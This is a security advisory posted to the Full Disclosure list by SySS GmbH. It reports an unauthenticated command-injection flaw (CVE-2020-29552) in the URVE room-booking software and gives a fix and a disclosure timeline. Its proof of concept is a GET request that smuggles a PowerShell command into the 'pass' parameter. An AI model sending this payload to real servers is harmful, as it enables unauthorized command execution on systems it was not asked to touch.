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Date: Wed, 23 Dec 2020 09:29:35 +0100
From: Erik Steltzner <erik.steltzner@...s.de>
To: <fulldisclosure@...lists.org>
Subject: [FD] SYSS-2020-040 Urve - Missing Authentication for Critical
 Function (CWE-306)

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Hash: SHA512

Advisory ID:               SYSS-2020-040
Product:                   URVE Software
Manufacturer:              Eveo Sp. z o.o.
Affected Version(s):       Build "24.03.2020"
Tested Version(s):         Build "24.03.2020"
Vulnerability Type:        Missing Authentication for Critical Function
(CWE-306)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2020-11-10
Solution Date:             2020-11-18
Public Disclosure:         2020-12-23
CVE Reference:             CVE-2020-29552
Authors of Advisory:       Erik Steltzner, SySS GmbH
                           Christoph Ritter, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

URVE is a system for reserving rooms which also provides a web interface
with event scheduler.

The manufacturer describes the product as follows (see [1] and [2]):

'Booking rooms on touchscreen and easy integration with MS Exchange,
Lotus, Office 365, Google Calendar and other systems.
Great looking schedules right at the door.
Fight conference room theft with our 10" touchscreen wall-mounted
panel.'

'Manage displays, edit playlists and HTML5 content easily.
Our server can be installed on any Windows and works smoothly from
web browser.'

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

With a manipulated GET request, it is possible to execute unauthenticated
system commands.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using the following request, it is possible to execute a PowerShell
command.

_internal/pc/vpro.php?mac=0&ip=0&operation=0&usr=0&pass=0%3bpowershell+-c+
"whoami+>+C%3a\URVE\Profiles\urve\uploads\out"

The following path contains the output of the previously executed command.

/urve/uploads/out

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The passed GET parameters should be escaped.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2020-10-28: Vulnerability discovered
2020-11-10: Vulnerability reported to manufacturer
2020-11-18: Patch released by manufacturer
2020-12-23: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Website for URVE
    https://urve.co.uk/system-rezerwacji-sal
[2] Product website for URVE
    https://urve.co.uk
[3] SySS Security Advisory SYSS-2020-040
   
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-040.txt
[4] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Erik Steltzner and Christoph
Ritter of SySS GmbH.

E-Mail: erik.steltzner@...s.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Erik_Steltzner.asc
Key ID: 0x4C7979CE53163268
Key Fingerprint: 6538 8216 555B FBE7 1E01 7FBD 4C79 79CE 5316 3268

E-Mail: christoph.ritter@...s.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Christoph_Ritter.asc
Key ID: 0x05458E666D35EAE8
Key Fingerprint: 9FB0 1B9B 2F72 3DD5 3AF3 62D8 0545 8E66 6D35 EAE8

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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